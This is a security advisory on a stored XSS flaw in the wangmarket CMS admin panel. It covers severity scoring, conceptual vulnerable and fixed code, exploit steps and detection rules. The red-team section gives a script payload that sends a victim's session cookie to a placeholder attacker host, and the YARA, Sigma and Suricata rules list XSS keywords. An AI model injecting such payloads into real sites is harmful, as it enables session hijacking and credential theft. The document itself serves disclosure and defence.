CVE-2025-15451

Executive Summary

CVE-2025-15451 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the xnx3 wangmarket content management system, affecting versions up to and including 4.9. The flaw resides in the /admin/system/variableSave.do endpoint, specifically within the "Description" parameter on the System Variables page. An authenticated attacker with administrative privileges can inject arbitrary JavaScript code into the Description field. When the variable is subsequently rendered in the admin panel, the malicious script executes in the context of another administrator's browser session. This can lead to session hijacking, credential theft, or defacement of the admin interface. The vendor was contacted but did not respond, leaving the vulnerability unpatched. The exploit has been publicly released, increasing the risk of targeted attacks against wangmarket installations.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a standalone Java-based CMS (wangmarket). No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Score: 2.4 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network (N) – The attack is initiated over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – The attacker must have administrative access to the wangmarket backend.
• User Interaction (UI): Required (R) – The victim administrator must view the malicious variable.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component (the admin's browser session).
• Confidentiality (C): Low (L) – Limited information disclosure (e.g., session cookies).
• Integrity (I): Low (L) – Limited ability to modify content (e.g., deface admin panel).
• Availability (A): None (N) – No impact on system availability.

Threat Level: Low. The requirement for administrative privileges and user interaction significantly reduces the attack surface. However, the public availability of the exploit and the lack of a patch make it a credible threat for internal or targeted attacks.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS (CWE-79) in the wangmarket admin panel. The /admin/system/variableSave.do endpoint is used to create or update system variables. The "Description" parameter is not properly sanitized or encoded before being stored in the database and later rendered in the admin interface.

Attack Flow:

1. An attacker with admin credentials logs into the wangmarket backend.
2. The attacker navigates to the System Variables page and creates a new variable or edits an existing one.
3. In the "Description" field, the attacker injects a malicious payload, e.g., <script>alert('XSS')</script>.
4. The server stores this payload in the database without sanitization.
5. When another administrator (or the same one) views the System Variables page, the payload is rendered in the browser, executing the JavaScript.
6. The attacker can use this to steal session cookies, perform actions on behalf of the victim, or deface the admin panel.

Root Cause: Lack of output encoding or input validation on the Description parameter. The application likely uses a template engine that does not auto-escape HTML in this specific field.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable code pattern. The fix would involve proper HTML encoding of the Description field before rendering.

Vulnerable Code (Conceptual Java/JSP):

// Vulnerable: Directly outputs user input without encoding
String description = request.getParameter("description");
// ... store in database ...
// When rendering:
out.println("<td>" + description + "</td>");

Patched Code (Conceptual):

// Patched: HTML-encode the output
String description = request.getParameter("description");
// ... store in database ...
// When rendering:
out.println("<td>" + StringEscapeUtils.escapeHtml4(description) + "</td>");

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a wangmarket instance (version <= 4.9) with admin credentials.
• A web browser with developer tools.

Exploit Steps:

1. Log in to the wangmarket admin panel.
2. Navigate to the System Variables page (e.g., /admin/system/variableSave.do).
3. Create a new variable or edit an existing one.
4. In the "Description" field, inject a payload. Example for cookie theft:

   <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
   

5. Save the variable.
6. Wait for another admin to view the System Variables page, or view it yourself to trigger the XSS.

Proof-of-Concept (PoC) Payload:

<script>alert('CVE-2025-15451')</script>

Blue Team (Detection & Response)

Detection:

• Monitor HTTP requests to /admin/system/variableSave.do for suspicious description parameters containing <script> tags or event handlers (e.g., onload, onerror).
• Look for outbound connections from the wangmarket server to unknown IPs/domains (potential data exfiltration).
• Review server logs for unusual admin activity, especially creation/modification of system variables.

Response:

• Immediately revoke admin credentials if an attack is suspected.
• Remove the malicious variable from the database.
• Apply a WAF rule to block XSS payloads in the description parameter.
• Consider implementing a Content Security Policy (CSP) to mitigate XSS impact.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /admin/system/variableSave.do with description containing <script> tags.
  • Outbound HTTP requests to attacker-controlled domains from the wangmarket server.
• File System:
  • Log entries showing creation of system variables with suspicious descriptions.
• Database:
  • Rows in the system variables table where the description column contains HTML/JavaScript.

Detection Engineering

YARA Rule

rule CVE_2025_15451_XSS_Description {
    meta:
        description = "Detects XSS payloads in wangmarket variable description"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15451"
    strings:
        $xss1 = "<script" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "onload=" ascii wide nocase
        $xss4 = "javascript:" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-15451 - Stored XSS in wangmarket System Variables
id: 8a3f7c2e-5b1d-4a9e-8c6f-2d3e4f5a6b7c
status: experimental
description: Detects attempts to exploit stored XSS in wangmarket by monitoring POST requests to /admin/system/variableSave.do with malicious description parameters.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-15451
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/admin/system/variableSave.do'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in variable descriptions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15451 - Stored XSS in wangmarket System Variables"; flow:to_server,established; content:"POST"; http_method; content:"/admin/system/variableSave.do"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the System Variables page if not essential, or restrict access to trusted administrators only.
2. Implement a Web Application Firewall (WAF) rule to block XSS payloads in the description parameter.
3. Manually sanitize the database by removing any existing malicious entries in the system variables table.

Long-Term Fix:

• Since the vendor is unresponsive, consider forking the wangmarket code and applying a patch to HTML-encode the Description field before rendering.
• Alternatively, migrate to a supported CMS that receives regular security updates.

General Best Practices:

• Always validate and sanitize user input on the server side.
• Use output encoding (e.g., HTML entity encoding) for all user-controlled data rendered in web pages.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Regularly audit and review admin activity logs.

Valters IT